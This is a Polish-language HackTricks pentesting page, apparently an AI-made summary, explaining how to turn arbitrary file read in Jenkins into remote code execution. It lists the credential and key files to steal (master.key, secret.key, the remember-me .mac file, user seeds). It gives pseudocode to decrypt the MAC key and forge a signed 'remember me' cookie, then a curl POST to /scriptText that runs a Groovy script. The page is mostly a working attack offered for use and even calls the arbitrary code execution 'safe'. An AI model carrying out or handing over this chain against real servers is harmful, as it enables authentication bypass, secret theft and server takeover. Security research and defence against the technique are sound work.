Jenkins Arbitrary File Read to RCE via “Remember Me”
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
W tym wpisie na blogu można znaleźć świetny sposób na przekształcenie podatności Local File Inclusion w Jenkins w RCE: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/
To jest podsumowanie stworzone przez AI części wpisu, w której wykorzystanie arbitralnego ciasteczka jest nadużywane do uzyskania RCE poprzez lokalne odczytywanie plików, aż znajdę czas na stworzenie własnego podsumowania:
Wymagania wstępne ataku
- Wymaganie funkcji: “Zapamiętaj mnie” musi być włączone (domyślne ustawienie).
- Poziomy dostępu: Atakujący potrzebuje uprawnień Overall/Read.
- Dostęp do sekretów: Możliwość odczytu zarówno zawartości binarnej, jak i tekstowej z kluczowych plików.
Szczegółowy proces eksploatacji
Krok 1: Zbieranie danych
Pobieranie informacji o użytkowniku
- Uzyskaj konfigurację użytkownika i sekrety z
$JENKINS_HOME/users/*.xmldla każdego użytkownika, aby zebrać: - Nazwa użytkownika
- Ziarno użytkownika
- Znacznik czasu
- Hash hasła
Ekstrakcja klucza sekretnego
- Wyodrębnij klucze kryptograficzne używane do podpisywania ciasteczka:
- Klucz sekretu:
$JENKINS_HOME/secret.key - Klucz główny:
$JENKINS_HOME/secrets/master.key - Plik klucza MAC:
$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac
Krok 2: Fałszowanie ciasteczka
Przygotowanie tokena
- Oblicz czas wygaśnięcia tokena:
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Dodaje jedną godzinę do bieżącego czasu
- Konkatenacja danych dla tokena:
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
Deszyfrowanie klucza MAC
- Deszyfruj plik klucza MAC:
key = toAes128Key(masterKey) // Konwertuj klucz główny na format klucza AES128
decrypted = AES.decrypt(macFile, key) // Deszyfruj plik .mac
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
Obliczanie podpisu
- Oblicz HMAC SHA256:
mac = HmacSHA256(token, macKey) // Oblicz HMAC używając tokena i klucza MAC
tokenSignature = bytesToHexString(mac) // Konwertuj MAC na ciąg szesnastkowy
Kodowanie ciasteczka
- Generuj końcowe ciasteczko:
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Koduj dane ciasteczka w Base64
Krok 3: Wykonanie kodu
Uwierzytelnianie sesji
- Pobierz tokeny CSRF i sesji:
- Wykonaj żądanie do
/crumbIssuer/api/json, aby uzyskaćJenkins-Crumb. - Przechwyć
JSESSIONIDz odpowiedzi, który będzie używany w połączeniu z ciasteczkiem “remember-me”.
Żądanie wykonania polecenia
- Wyślij żądanie POST z skryptem Groovy:
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
- Skrypt Groovy może być używany do wykonywania poleceń na poziomie systemu lub innych operacji w środowisku Jenkins.
Przykład polecenia curl pokazuje, jak wykonać żądanie do Jenkins z niezbędnymi nagłówkami i ciasteczkami, aby bezpiecznie wykonać arbitralny kod.
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

